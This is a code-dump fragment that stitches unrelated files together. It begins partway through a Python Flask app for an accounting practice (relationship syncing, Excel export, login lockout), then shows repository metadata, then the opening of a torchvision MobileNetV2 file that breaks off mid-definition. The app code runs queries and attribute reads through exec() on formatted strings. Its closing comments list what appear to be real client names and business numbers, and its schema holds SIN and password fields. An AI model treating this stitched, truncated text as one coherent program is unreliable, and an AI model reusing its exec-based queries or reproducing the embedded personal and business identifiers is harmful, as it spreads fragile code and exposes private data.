value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Individual.query.get(x)
tmp = (my_data.contact_corp)
if len(tmp) > 0:
tmp = (my_data.contact_corp).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.contact_corp = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Individual.query.get(x)
if my_data.contact_corp == "":
my_data.contact_corp = str(corpid)
else:
print(" -- my_data -- " + my_data.contact_corp)
tmp = (my_data.contact_corp).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.contact_corp = ",".join(tmp)
print(my_data.contact_corp)
db.session.commit()
elif oper == 2:
if len(value0) > 0:
for x in value0:
my_data = Individual.query.get(x)
tmp = (my_data.contact_corp)
if len(tmp) >0:
tmp = (my_data.contact_corp).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.contact_corp = ",".join(tmp)
db.session.commit()
# flash("Contact from Corp was updated in Individual table")
def indiv_to_corp_director(value1, corpid, oper, value0):
print(' --- director ---')
print(value1)
if value0 == "":
value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Corporation.query.get(x)
tmp = (my_data.director)
if len(tmp) > 0:
tmp = (my_data.director).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.director = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Corporation.query.get(x)
if my_data.director == "":
my_data.director = str(corpid)
else:
print(" -- my_data -- " + my_data.director)
tmp = (my_data.director).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.director = ",".join(tmp)
print(my_data.director)
db.session.commit()
elif oper == 2:
if len(value0) > 0:
for x in value0:
my_data = Corporation.query.get(x)
tmp = (my_data.director)
if len(tmp) >0:
tmp = (my_data.director).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.director = ",".join(tmp)
db.session.commit()
# flash("Director from Individual was updated in Corp table")
def corp_director_to_indiv(value1, corpid, oper, value0):
print(' --- director ---')
print(value1)
if value0 == "":
value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Individual.query.get(x)
tmp = (my_data.director_corp)
if len(tmp) > 0:
tmp = (my_data.director_corp).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.director_corp = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Individual.query.get(x)
if my_data.director_corp == "":
my_data.director_corp = str(corpid)
else:
print(" -- my_data -- " + my_data.director_corp)
tmp = (my_data.director_corp).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.director_corp = ",".join(tmp)
print(my_data.director_corp)
db.session.commit()
elif oper == 2:
if len(value0) > 0:
for x in value0:
my_data = Individual.query.get(x)
tmp = (my_data.director_corp)
if len(tmp) >0:
tmp = (my_data.director_corp).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.director_corp = ",".join(tmp)
db.session.commit()
# flash("Director from Corp was updated in Individual table")
def indiv_to_corp_shareholder(value1, corpid, oper, value0):
print(' --- shareholder ---')
print(value1)
if value0 == "":
value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Corporation.query.get(x)
tmp = (my_data.shareholder)
if len(tmp) > 0:
tmp = (my_data.shareholder).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.shareholder = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Corporation.query.get(x)
if my_data.shareholder == "":
my_data.shareholder = str(corpid)
else:
print(" -- my_data -- " + my_data.shareholder)
tmp = (my_data.shareholder).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.shareholder = ",".join(tmp)
print(my_data.shareholder)
db.session.commit()
elif oper == 2:
if len(value0) > 0:
for x in value0:
my_data = Corporation.query.get(x)
tmp = (my_data.shareholder)
if len(tmp) >0:
tmp = (my_data.shareholder).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.shareholder = ",".join(tmp)
db.session.commit()
# flash("Shareholder from Indiv was updated in Corp table")
def corp_shareholder_to_indiv(value1, corpid, oper, value0):
if value0 == "":
value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Individual.query.get(x)
tmp = (my_data.sharehold_corp)
if len(tmp) > 0:
tmp = (my_data.sharehold_corp).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.sharehold_corp = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Individual.query.get(x)
if my_data.sharehold_corp == "":
my_data.sharehold_corp = str(corpid)
else:
print(" -- my_data -- " + my_data.sharehold_corp)
tmp = (my_data.sharehold_corp).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.sharehold_corp = ",".join(tmp)
print(my_data.sharehold_corp)
db.session.commit()
elif oper == 2:
if len(value0) > 0:
for x in value0:
my_data = Individual.query.get(x)
tmp = (my_data.sharehold_corp)
if len(tmp) >0:
tmp = (my_data.sharehold_corp).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.sharehold_corp = ",".join(tmp)
db.session.commit()
# flash("Shareholder from Corp was updated in Individual table")
def corp_shareholder_to_corp(value1, corpid, oper, value0):
print(' --- shareholder ---')
print(value1)
if value0 == "":
value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Corporation.query.get(x)
tmp = (my_data.corp_as_shareholder)
if tmp:
if len(tmp) > 0:
tmp = (my_data.corp_as_shareholder).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.corp_as_shareholder = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Corporation.query.get(x)
if my_data.corp_as_shareholder is None:
my_data.corp_as_shareholder = str(corpid)
elif my_data.corp_as_shareholder == "":
my_data.corp_as_shareholder = str(corpid)
else:
tmp = (my_data.corp_as_shareholder).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.corp_as_shareholder = ",".join(tmp)
db.session.commit()
elif oper == 2:
if len(value0) > 0:
for x in value0:
my_data = Corporation.query.get(x)
if my_data.corp_as_shareholder is not None:
tmp = (my_data.corp_as_shareholder)
if len(tmp) >0:
tmp = (my_data.corp_as_shareholder).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.corp_as_shareholder = ",".join(tmp)
db.session.commit()
# flash("updated in Corp table")
def corp_to_corp_shareholder(value1, corpid, oper, value0):
if value0 == "":
value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Corporation.query.get(x)
tmp = (my_data.shareholder_corp)
if tmp:
if len(tmp) > 0:
tmp = (my_data.shareholder_corp).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.shareholder_corp = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Corporation.query.get(x)
if my_data.shareholder_corp is None:
my_data.shareholder_corp = str(corpid)
elif my_data.shareholder_corp == "":
my_data.shareholder_corp = str(corpid)
else:
tmp = (my_data.shareholder_corp).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.shareholder_corp = ",".join(tmp)
db.session.commit()
elif oper == 2:
if len(value0) > 0:
for x in value0:
my_data = Corporation.query.get(x)
if my_data.shareholder_corp is not None:
tmp = (my_data.shareholder_corp)
if len(tmp) >0:
tmp = (my_data.shareholder_corp).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.shareholder_corp = ",".join(tmp)
db.session.commit()
def indiv_to_spouse(value1, corpid, oper, value0):
print(' --- spouse ---')
print(value1)
if value0 == "":
value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Individual.query.get(x)
tmp = (my_data.spouse)
if len(tmp) > 0:
tmp = (my_data.spouse).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.spouse = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Individual.query.get(x)
if my_data.spouse == "":
my_data.spouse = str(corpid)
else:
print(" -- my_data -- " + my_data.spouse)
tmp = (my_data.spouse).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.spouse = ",".join(tmp)
print(my_data.spouse)
db.session.commit()
elif oper == 2:
if len(value0) > 0:
for x in value0:
my_data = Individual.query.get(x)
tmp = (my_data.spouse)
if len(tmp) >0:
tmp = (my_data.spouse).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.spouse = ",".join(tmp)
db.session.commit()
# flash("Spouse Updated Successfully")
def parent_to_child(value1, corpid, oper, value0):
print(' --- parents ---')
print(value1)
if value0 == "":
value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Individual.query.get(x)
tmp = (my_data.child)
if len(tmp) > 0:
tmp = (my_data.child).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.child = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Individual.query.get(x)
if my_data.child == "":
my_data.child = str(corpid)
else:
print(" -- my_data -- " + my_data.child)
tmp = (my_data.child).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.child = ",".join(tmp)
print(my_data.child)
db.session.commit()
elif oper == 2:
if len(value0) > 0:
for x in value0:
my_data = Individual.query.get(x)
tmp = (my_data.child)
if len(tmp) >0:
tmp = (my_data.child).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.child = ",".join(tmp)
db.session.commit()
# flash("parents updated")
def child_to_parent(value1, corpid, oper, value0):
print(' --- child ---')
print(value1)
if value0 == "":
value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Individual.query.get(x)
tmp = (my_data.parent)
if len(tmp) > 0:
tmp = (my_data.parent).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.parent = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Individual.query.get(x)
if my_data.parent == "":
my_data.parent = str(corpid)
else:
print(" -- my_data -- " + my_data.parent)
tmp = (my_data.parent).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.parent = ",".join(tmp)
print(my_data.parent)
db.session.commit()
elif oper == 2:
if len(value0) > 0:
for x in value0:
my_data = Individual.query.get(x)
tmp = (my_data.parent)
if len(tmp) >0:
tmp = (my_data.parent).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.parent = ",".join(tmp)
db.session.commit()
# flash("Child Updated Successfully")
def get_index_index(type, id_list, dropdown_list):
index_list = []
tmp0 = []
for x in dropdown_list:
if type == 'Corporation':
tmp0.append(str(x.indiv_id))
elif type == 'Individual':
tmp0.append(str(x.corp_id))
for x in id_list:
tmp1 = []
if x:
if (len(x)>0):
x = x.split(',')
for y in x:
if y:
if len(y)>0:
if tmp0.count(y)>0:
tmp1.append(tmp0.index(y))
index_list.append(tmp1)
return index_list
def convert_to_int(data_str):
data_int = 0
data_str = data_str.replace(' ', '')
if data_str.isdigit():
data_int = int(data_str)
return data_int
def dailyentry_to_report(value1, corpid, oper, value0):
if value0 == "":
value0 = []
else:
value0 = value0.split(',')
if oper < 2:
if len(value0) > 0:
for x in value0:
if x not in value1:
my_data = Individual.query.get(x)
tmp = (my_data.director_corp)
if len(tmp) > 0:
tmp = (my_data.director_corp).split(',')
if str(corpid) in tmp:
tmp.remove(str(corpid))
my_data.director_corp = ",".join(tmp)
db.session.commit()
for x in value1:
my_data = Individual.query.get(x)
if my_data.director_corp == "":
my_data.director_corp = str(corpid)
else:
tmp = (my_data.director_corp).split(',')
if (str(corpid) not in tmp):
tmp.append(str(corpid))
my_data.director_corp = ",".join(tmp)
db.session.commit()
def download_munu(category):
filtertxt = ['','','']
filterdata = ['','','']
if category == 'Corporation':
filtertxt = ['','','']
filterdata = ['','','']
elif category == 'Individual':
filtertxt = ['','','']
filterdata = ['','','']
elif category == 'Task':
filtertxt = ['Period_end from','Period_end to','']
filterdata[0] = db.session.query(Task.periodend.label('startdate')).distinct().order_by(Task.periodend.desc()).all()
filterdata[1] = db.session.query(Task.periodend.label('startdate')).distinct().order_by(Task.periodend.desc()).all()
filterdata[2] = ''
elif category == 'Timesheet':
filtertxt = ['Date from','Date to','Staff name']
filterdata[0] = db.session.query(Timesheet.startdate).distinct().order_by(Timesheet.startdate.desc()).all()
filterdata[1] = db.session.query(Timesheet.startdate).distinct().order_by(Timesheet.startdate.desc()).all()
filterdata[2] = db.session.query(Timesheet.staff.label('name')).distinct().order_by(Timesheet.staff.asc()).all()
elif category == 'Staff':
filtertxt = ['Date from','Date to','Staff name']
filterdata[0] = db.session.query(Staff.startdate).distinct().order_by(Staff.startdate.desc()).all()
filterdata[1] = db.session.query(Staff.startdate).distinct().order_by(Staff.startdate.desc()).all()
filterdata[2] = db.session.query(Staff.name).distinct().order_by(Staff.name.asc()).all()
elif category == 'Corporation report':
filtertxt = ['Date from','Date to','Corporation name']
filterdata[0] = db.session.query(CorporationReport.startdate).distinct().order_by(CorporationReport.startdate.desc()).all()
filterdata[1] = db.session.query(CorporationReport.startdate).distinct().order_by(CorporationReport.startdate.desc()).all()
filterdata[2] = db.session.query(CorporationReport.corp.label('name')).distinct().order_by(CorporationReport.corp.asc()).all()
return (filtertxt, filterdata)
def table_header(idx):
head = ['','','','','','']
col = ['','','','','','']
note = ['','','','','','']
head[0] = ["Corporation ID", "Bussiness No.", "Corporation Name", "Registration Name", "M Business Name", "M Licenses period", "Incorporation Date", "Type of Incorporation", "Anniversary Date", "Corporation Key", "Corporation No.", "Ontario Corp No.", "Provincial No. 1", "Provincial No. 2", "Business Address", "Mailing Address", "CRA Contact Person", "CRA Contact Phone", "Office Fax No.", "Email", "Website", "Wechat", "Tax Year End", "HST Reporting", "HST Report_method ", "HST Account No.", "HST Account", "Payroll Account No.", "Payroll_T4", "Subcontractor_T4A", "Dividend_T5", "Withhold_Tax No.", "Withhold_Tax_account ", "CRA Other Account No.", "CRA Other Account", "WSIB Account No.", "WSIB Account", "EHT Account No.", "EHT Account", "Other Account No.", "Other Account", "Holding Corporation ", "Ovesea Invest Corp ", "Corporation Indursty", "Corporation Info", "Specific Info", "Bank Account 1", "Bank Account 2", "Bank Account 3", "Accounting Software", "Software Password", "Payroll Software", "Payroll Software password", "Accounting Service ", "Accounting Service Type", "Leading ", "contact id", "Director id", "Shareholder id"]
# len(head[0]), len(col[0]), len(note[0]) = 59 62 3
col[0] = ["corp_id", "corp1", "corp2", "corp3", "corp4", "corp5", "corp6", "corp7", "corp8", "corp9", "corp10", "corp11", "corp12", "corp13", "corp14", "corp15", "corp16", "corp17", "corp18", "corp19", "corp20", "corp21", "corp22", "corp23", "corp24", "corp25", "corp26", "corp27", "corp28", "corp29", "corp30", "corp31", "corp32", "corp33", "corp34", "corp35", "corp36", "corp37", "corp38", "corp39", "corp40", "corp41", "corp42", "corp43", "corp44", "corp45", "corp46", "corp47", "corp48", "corp49", "corp50", "corp51", "corp52", "corp53", "corp54", "corp55", "corp56", "corp57", "corp58", "contact", "director", "shareholder"]
note[0] = [["corp5", "corp6"],["corp8", "corp9"], ["corp18", "corp19"]]
head[1] = ["Individual ID", "SIN", "Name", "other_name", "email", "phone1", "phone2", "address1", "address2", "mail_address", "wechat", "Sole_proprietor", "HST_report", "Payroll", "Withhold_tax", "WSIB", "CRA_other", "Oversea_asset_t1135", "Oversea_corp_t1134", "Tslip", "Tax_personal_info", "Specific_info", "Engage_account", "Engage_leading", "note", "Corporation(Contact of) ", "Corporation(Director of)", "Corporation(Shareholder of)", "Spouse", "Parent", "Children"]
# len(head[1]), len(col[1]), len(note[1]) = 31 33 3
col[1] = ["indiv_id", "sin", "prefix", "last_name", "first_name", "other_name", "email", "phone1", "phone2", "address1", "address2", "mail_address", "wechat", "cra_sole_proprietor", "cra_hst_report", "cra_payroll", "cra_withhold_tax", "cra_wsib", "cra_other", "oversea_asset_t1135", "oversea_corp_t1134", "tslip", "tax_personal_info", "specific_info", "engage_account", "engage_leading", "note", "contact_corp", "director_corp", "sharehold_corp", "spouse", "parent", "child"]
note[1] = ["prefix", "last_name", "first_name"]
head[2] = ["Task_id", "Client_Corp_id", "Client_Corp_name", "Corp_Bussi_No.", "Jobtype", "Period end", "Responsible Person", "Start date", "End date", "Status", "Details", "Recurrence", "Priority", "Work hour"]
# len(head[2]), len(col[2]), len(note[2]) = 14 14 0
col[2] = ["task_id", "client_corp_id", "client_corp_name", "client_corp_bussi_no", "jobtype_code", "periodend", "responsible", "startdate", "enddate", "status", "details", "recurrence", "priority", "worktime"]
note[2] = []
head[3] = ["Timesheet_id", "Startdate", "Calendar hour", "Adjust hour", "Work hour", "Timesheet name", "Timesheet content", "Activity_type", "Corporation 1", "Corporation 2", "Corporation 3", "Corporation 4", "Staff", "Average time"]
# len(head[3]), len(col[3]), len(note[3]) = 14 15 2
col[3] = ["timesheet_id", "startdate", "calhour", "adjhour", "adjmin", "workhour", "entryname", "entrycontent", "activitytype", "corp1", "corp2", "corp3", "corp4", "staff", "avgtime"]
note[3] = ["adjhour", "adjmin"]
head[4] = ["Staff_id", "Name", "Startdate", "Job/Task", "Calendar hour", "Adjust hour", "Work hour"]
# len(head[4]), len(col[4]), len(note[4]) = 7 8 2
col[4] = ["staff_id", "name", "startdate", "job", "calendarhour", "adjhour", "adjmin", "workhour"]
note[4] = ["adjhour", "adjmin"]
head[5] = ["Report_id", "Corporation", "Start date", "Timesheet name", "Activity_type", "Timesheet content", "Work hour", "Job_id"]
# len(head[5]), len(col[5]), len(note[5]) = 8 8 0
col[5] = ["corp_report_id", "corp", "startdate", "entryname", "activitytype", "entrycontent", "workhour", "jobid"]
note[5] = []
return (head[idx], col[idx], note[idx])
def get_data(idx, filters):
if idx == 0:
list_data = db.session.query(Corporation).order_by(Corporation.corp_id.asc()).all()
elif idx == 1:
list_data = db.session.query(Individual).order_by(Individual.indiv_id.asc()).all()
elif idx == 2:
attribute = '' if filters[0] == '' else 'Task.periodend >= filters[0]'
attribute = attribute if filters[1] == '' else attribute + ', Task.periodend <= filters[1]'
attribute = attribute if filters[2] == '' else attribute + ', Task.client_corp_name == filters[2]'
att = []
exec('att.append(db.session.query(Task).filter({}).order_by(Task.periodend.desc()).all())'.format(attribute.lstrip(', ')))
list_data = att[0]
elif idx == 3:
attribute = '' if filters[0] == '' else 'Timesheet.startdate >= filters[0]'
attribute = attribute if filters[1] == '' else attribute + ', Timesheet.startdate <= filters[1]'
attribute = attribute if filters[2] == '' else attribute + ', Timesheet.staff == filters[2]'
att = []
exec('att.append(db.session.query(Timesheet).filter({}).order_by(Timesheet.startdate.desc()).all())'.format(attribute.lstrip(', ')))
list_data = att[0]
elif idx == 4: # staff
attribute = '' if filters[0] == '' else 'Staff.startdate >= filters[0]'
attribute = attribute if filters[1] == '' else attribute + ', Staff.startdate <= filters[1]'
attribute = attribute if filters[2] == '' else attribute + ', Staff.name == filters[2]'
att = []
exec('att.append(db.session.query(Staff).filter({}).order_by(Staff.startdate.desc()).all())'.format(attribute.lstrip(', ')))
list_data = att[0]
elif idx == 5: # corp report
attribute = '' if filters[0] == '' else 'CorporationReport.startdate >= filters[0]'
attribute = attribute if filters[1] == '' else attribute + ', CorporationReport.startdate <= filters[1]'
attribute = attribute if filters[2] == '' else attribute + ', CorporationReport.corp == filters[2]'
att = []
exec('att.append(db.session.query(CorporationReport).filter({}).order_by(CorporationReport.startdate.desc()).all())'.format(attribute.lstrip(', ')))
list_data = att[0]
# if filters[0] != '' and filters[1] == '' and filters[2] == '':
# list_data = CorporationReport.query.filter(CorporationReport.periodend >= filters[0]).all()
# elif filters[0] != '' and filters[1] != '' and filters[2] == '':
# list_data = CorporationReport.query.filter(CorporationReport.periodend >= filters[0], CorporationReport.periodend <= filters[1]).all()
# elif filters[0] != '' and filters[1] == '' and filters[2] != '':
# list_data = CorporationReport.query.filter(CorporationReport.periodend >= filters[0], CorporationReport.corp == filters[2]).all()
# elif filters[0] != '' and filters[1] != '' and filters[2] != '':
# list_data = CorporationReport.query.filter(CorporationReport.periodend >= filters[0], CorporationReport.periodend <= filters[1], CorporationReport.corp == filters[2]).all()
# elif filters[0] == '' and filters[1] != '' and filters[2] == '':
# list_data = CorporationReport.query.filter(CorporationReport.periodend <= filters[1]).all()
# elif filters[0] == '' and filters[1] != '' and filters[2] != '':
# list_data = CorporationReport.query.filter(CorporationReport.periodend <= filters[1], CorporationReport.CorporationReport == filters[2]).all()
# elif filters[0] == '' and filters[1] == '' and filters[2] != '':
# list_data = CorporationReport.query.filter(CorporationReport.corp == filters[2]).all()
return list_data
def excel_export(cat, filters, fname):
fname = fname
idx = ['Corporation','Individual','Task','Timesheet','Staff','Corporation report'].index(cat)
# print(idx)
pram = table_header(idx)
wb = Workbook()
ws = wb.active
ws.title = cat # sheet name
ws.merge_cells('A1:J1')
ws['A1'].font = Font(color="FF0000", bold=True, name='Arial', size=15)
ws['A1'] = fname
ws.merge_cells('A2:J2')
ws['A2'].font = Font(color="0000FF", bold=True, name='Arial', size=10)
if idx == 2:
ws['A2'] = 'Start Date: ' + filters[0] + ', End Date: ' + filters[1]
elif idx == 3 or idx == 4:
ws['A2'] = 'Start Date: ' + filters[0] + ', End Date: ' + filters[1] + ', Staff name: ' + filters[2]
elif idx == 5:
ws['A2'] = 'Start Date: ' + filters[0] + ', End Date: ' + filters[1] + ', Corporation name: ' + filters[2]
ws.row_dimensions[3].fill = PatternFill("solid", fgColor="DDDDDD")
ws['A3'] = ''
ws['A3'].fill = PatternFill("solid", fgColor="DDDDDD")
ws.append(pram[0])
cols = len(pram[0])
for i in range(cols):
ws.cell(row=4, column = i+1).font = Font(color="000000", bold=True, name='Arial', size=10)
my_data = get_data(idx, filters)
if idx == 0:
for row in my_data:
rdata = []
for i in range(5):
exec('rdata.append(row.{})'.format(pram[1][i]))
rdata.append(row.corp5 + ' - ' + row.corp6)
rdata.append(row.corp7)
rdata.append(row.corp8)
rdata.append(row.corp9 + ' - ' + row.corp10)
for i in range(7):
exec('rdata.append(row.{})'.format(pram[1][i+11]))
print('corporation-', pram[1][i])
rdata.append(row.corp19 + ' - ' + row.corp18)
for i in range(42):
exec('rdata.append(row.{})'.format(pram[1][i+20]))
ws.append(rdata)
elif idx == 1:
for row in my_data:
rdata = []
rdata.append(row.indiv_id)
rdata.append(row.sin)
rdata.append(row.prefix + ' ' + row.last_name + ', ' + row.first_name)
for i in range(28):
exec('rdata.append(row.{})'.format(pram[1][i+5]))
ws.append(rdata)
elif idx == 2:
for row in my_data:
rdata = []
for i in range(14):
exec('rdata.append(row.{})'.format(pram[1][i]))
ws.append(rdata)
elif idx == 3:
for row in my_data:
rdata = []
rdata.append(row.timesheet_id)
rdata.append(row.startdate)
rdata.append(row.calhour)
rdata.append(row.adjhour + ' : ' + row.adjmin)
for i in range(10):
exec('rdata.append(row.{})'.format(pram[1][i+5]))
ws.append(rdata)
elif idx == 4:
for row in my_data:
rdata = []
for i in range(5):
exec('rdata.append(row.{})'.format(pram[1][i]))
rdata.append(row.adjhour + ' : ' + row.adjmin)
rdata.append(row.workhour)
ws.append(rdata)
elif idx == 5:
for row in my_data:
rdata = []
for i in range(8):
exec('rdata.append(row.{})'.format(pram[1][i]))
ws.append(rdata)
print(fname)
wb.save("/var/www/html/app/static/download/" + fname)
def userrecrods(user, field):
'''records of user'''
username = user
email = ''
password = ''
ip = ''
datadate = datetime.now(timezone('America/Toronto')).strftime("%Y-%m-%d %H:%M:%S")
datatime = int(time.time())
badfield = field
if field == '':
status = 'True'
hourlock = 0
daylock = 0
attemptafterlock = 0
else:
status = 'False'
count = db.session.query(Userlog).with_entities(func.count(Userlog.log_id)).filter(Userlog.datatime >= (datatime - 3600), Userlog.username == user, Userlog.status == 'False').scalar()
print('hourlock count', count)
hourlock = datatime if count > 1 else 0
count = db.session.query(Userlog).with_entities(func.count(Userlog.log_id)).filter(Userlog.datatime >= (datatime - 10800), Userlog.username == user, Userlog.status == 'False').scalar()
print('daylock count', count)
daylock = datatime if count > 4 else 0
attemptafterlock = count + 1
# attemptafterlock = 0
my_data = Userlog(username, email, password, ip, datadate, datatime, badfield, hourlock, daylock, status, attemptafterlock)
db.session.add(my_data)
db.session.commit()
return status
def authentication(user):
'''
Login Input --> Registered User? --> Y, expired? --Y--> authentication False return()
No --> check log
Not user --> check log
check log: --locked--> authentication False
'''
authentication = False
au = db.session.query(User).filter(User.username == user).scalar()
currenttime = int(time.time())
print('au: ', au, ' currenttime: ', currenttime)
if au:
print(' ---- registered user ---')
if au.identification is None or au.identification == '' or au.identification == 0:
print(' ---- identification: None, empty or 0 --- ', au.identification)
authentication = True
elif currenttime > int(au.identification):
print('--- > identification false---')
return authentication
else:
authentication = True
log_id = db.session.query(func.max(Userlog.log_id)).filter(Userlog.username == user).scalar()
if log_id is None:
print('log_id: ', log_id)
authentication = True
else:
my_data = Userlog.query.get(log_id)
print('log_id: ', log_id, ' mydata: ', my_data)
if (my_data.hourlock == 0 and my_data.daylock == 0):
print('---my_data.hourlock == 0 and my_data.daylock == 0---')
authentication = True
elif (currenttime > (my_data.hourlock + 3600)) and (currenttime > (my_data.daylock + 86400)):
authentication = True
my_data.hourlock = 0
my_data.daylock = 0
db.session.add(my_data)
db.session.commit()
print('---- over the limit time -------')
else:
authentication = False
return authentication
def fix_data_missing(da, num):
da = da.replace('| |', '| |')
if da.startswith('|'):
da = (' ' + da)
if da.endswith('|'):
da = (da + ' ')
arr = da.split(' | ')
if len(arr) >= num:
return arr
else:
for i in range(len(arr), num):
arr.append(' ')
return arr
# Fix Indiv address data - remove '-'
def fix_address():
# update address
# for i in range (1, 370):
# my_data = Individual.query.get(i)
# da_old = str(my_data.address1)
# da_new = da_old.strip('-').replace(' , , , ', '')
# my_data.address1 = da_new
# #print('add: ',da_old, ' new ', da_new)
# db.session.commit()
# update last name
for i in range (1, 370):
my_data = Individual.query.get(i)
da_old = str(my_data.last_name)
da_new = da_old.upper()
my_data.last_name = da_new
#print('add: ',da_old, ' new ', da_new)
db.session.commit()
msg = 'successful'
return msg
def get_corp_name(arr):
if len(arr)>0: # 这里是一个组,包含3个串[contact(' '), direct(' '), shareholder(' ')] >>> ['12,6', '13,7', '14']
corp_name = []
type = ['Contact: ', 'Director: ', 'Shareholder: ']
idx = 0
for s in arr: # >>> '12,6'
if s:
if len(s)>0 and s!=',':
arr = s.split(',') # >>> ['12','6']
arr1 = []
for ic in arr:
ic = ic.replace(' ','')
if len(ic)>0:
ic = int(ic)
per_data = Corporation.query.with_entities(Corporation.corp_id, Corporation.corp1, Corporation.corp2).filter(Corporation.corp_id==ic)
# per_data = Corporation.query.get(ic) # 获得第1个公司信息
arr1.append([int(per_data[0].corp_id), (type[idx] + per_data[0].corp2)])
corp_name.append(arr1)
idx += 1
return corp_name
# [[5, 'CAI, Zhiyuan'], [6, 'CHAOLEI, YI']]
# [
# [第5人
# [ CONTACT
# [6, '11328816 Canada Corporation_Ying Ming_701659310RC0001'],
# [12, '2434967 ONTARIO INC._Coffee Shop Zhang Zebin_836333591RC0001']
# ],
# [ DIRECTOR
# [7, '11448587 Canada Inc._Herry Zheng xianjin_789840675RC0001'],
# [13, '2437939 ONTARIO INC. Gateway Newstand_Zheng, Yanyan_828840983RC0001']
# ],
# [ SHAREHOLDER
# [14, '2458703 ONTARIO INC _XianJack wife_810222190RC0001']
# ]
# ],
# [第6人
# [ CONTACT
# [6, '11328816 Canada Corporation_Ying Ming_701659310RC0001'],
# [314, '1106_Corporation Name']
# ],
# [ DIRECTOR
# [7, '11448587 Canada Inc._Herry Zheng xianjin_789840675RC0001'],
# [13, '2437939 ONTARIO INC. Gateway Newstand_Zheng, Yanyan_828840983RC0001']
# ],
# [ SHAREHOLDER
# [14, '2458703 ONTARIO INC _XianJack wife_810222190RC0001']
# ]
# ]
# ]
|
[
"ritchie.liu2007@gmail.com"
] |
ritchie.liu2007@gmail.com
|
34b59349f310f10df1bff5b0ff74eda1b3946f14
|
46390b01256fd4a0dbf3de12b5b3b2248b36a3d5
|
/torchvision/models/mobilenetv2.py
|
3938156949f25eaf6e53b3509c775b97efbff236
|
[
"BSD-3-Clause"
] |
permissive
|
DevPranjal/vision
|
ba7e4f79b17189ff621e718d21ce3380f64b80df
|
ec40ac3ab84b90b2bb422f98b4d57b89d424676c
|
refs/heads/master
| 2023-06-29T23:15:13.577246
| 2021-06-10T14:10:39
| 2021-06-10T14:10:39
| 375,726,988
| 2
| 0
|
BSD-3-Clause
| 2021-06-10T14:30:58
| 2021-06-10T14:30:58
| null |
UTF-8
|
Python
| false
| false
| 7,867
|
py
|
import torch
from torch import nn
from torch import Tensor
from .utils import load_state_dict_from_url
from typing import Callable, Any, Optional, List
__all__ = ['MobileNetV2', 'mobilenet_v2']
model_urls = {
'mobilenet_v2': 'https://download.pytorch.org/models/mobilenet_v2-b0353104.pth',
}
def _make_divisible(v: float, divisor: int, min_value: Optional[int] = None) -> int:
"""
This function is taken from the original tf repo.
It ensures that all layers have a channel number that is divisible by 8
It can be seen here:
https://github.com/tensorflow/models/blob/master/research/slim/nets/mobilenet/mobilenet.py
"""
if min_value is None:
min_value = divisor
new_v = max(min_value, int(v + divisor / 2) // divisor * divisor)
# Make sure that round down does not go down by more than 10%.
if new_v < 0.9 * v:
new_v += divisor
return new_v
class ConvBNActivation(nn.Sequential):
def __init__(
self,
in_planes: int,
out_planes: int,
kernel_size: int = 3,
stride: int = 1,
groups: int = 1,
norm_layer: Optional[Callable[..., nn.Module]] = None,
